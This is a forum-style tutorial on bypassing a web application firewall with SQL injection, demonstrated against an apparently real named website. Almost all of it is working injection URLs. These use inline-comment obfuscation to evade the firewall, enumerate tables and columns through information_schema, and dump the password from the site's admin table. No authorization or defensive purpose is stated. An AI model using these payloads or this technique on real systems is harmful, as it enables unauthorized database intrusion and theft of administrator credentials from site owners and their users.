ByPassing Web Application Firewall in SQL injection (WAF bypass)

ByPassing Web Application Firewall in SQL injection (WAF bypass)

hi  all !

Today i am going to present a tutorial on  ByPassing Web Application Firewall in SQL injection 

ok lets start. i am taking a website as an example which is WAF protected 

come to Point ! our test website is 

http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=2109

first of all we will find out the total number of columns 

total number of columns are 14 (find out columns using order by command)

now we are going to use union select command to find out through which column

our data will be displayed to the screen

http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109

 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14--

 but WAF will block it and 403 page will be displayed 

 ok 

how to bypass it ?

use union and select keyword as inline commant and url will be like this 

 http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109+/*!union*/+/*!select*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

 firewall bypassed :D

 ok 

 screen is showing number 2,3 and 9. so we can take any of these and i am going to exract data via column 2 

 we are going to extract the tables name 

 url will be like this one 

 http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109+/*!union*/+/*!select*/+1,/*!table_name*/,3,4,5,6,7,8,9,10,11,12,13,14+from+/*!information_schema*/.tables+where+/*!table_schema*/+like+database()+limit 0,1--

 we are using limit clause because group _concat not working and we can extract  tables name one by one using limit clause limit 0,1 will help us to extract first table name from database to extract next table name increase the value of limit 0,1 to limit 1,1like this

 http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109+/*!union*/+/*!select*/+1,/*!table_name*/,3,4,5,6,7,8,9,10,11,12,13,14+from+/*!information_schema*/.tables+where+/*!table_schema*/+like+database()+limit 1,1--

 and page will show next table name

we got the admin table that is "admin" 

 its time to gain the names of columns of  table "admin"

 URL will be like this :-

 http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109+/*!union*/+/*!select*/+1,/*!column_name*/,3,4,5,6,7,8,9,10,11,12,13,14+from+/*!information_schema*/.columns+where+/*!table_name*/=char(97,100,109,105,110) limit 0,1--

 again we need to use limit clause (same reason , group_concat not working) 

  by executing this url we got the column having name username

when i incresed the value of limit from limit 0,1 to limit 1,1 , second column name that is Password showed on screen

http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109+/*!union*/+/*!select*/+1,/*!column_name*/,3,4,5,6,7,8,9,10,11,12,13,14+from+/*!information_schema*/.columns+where+/*!table_name*/=char(97,100,109,105,110) limit 0,1--

we have done with columns too table name is admin and columns are Username and Passwor lets move to final step  now we are goung to extract to username and password from username and password column when group_concat is not working its batter to extract data from one column at a time 

i am going to extract the password an  URL will be like this :-

   http://majestic-beauty.com/large.php?CleanUrl=&mID=297&sID=313&PID=-2109+/*!union*/+/*!select*/+1,/*!Password*/,3,4,5,6,7,8,9,10,11,12,13,14+from+admin-

   and this  tutorial is over :D

   Thank you !

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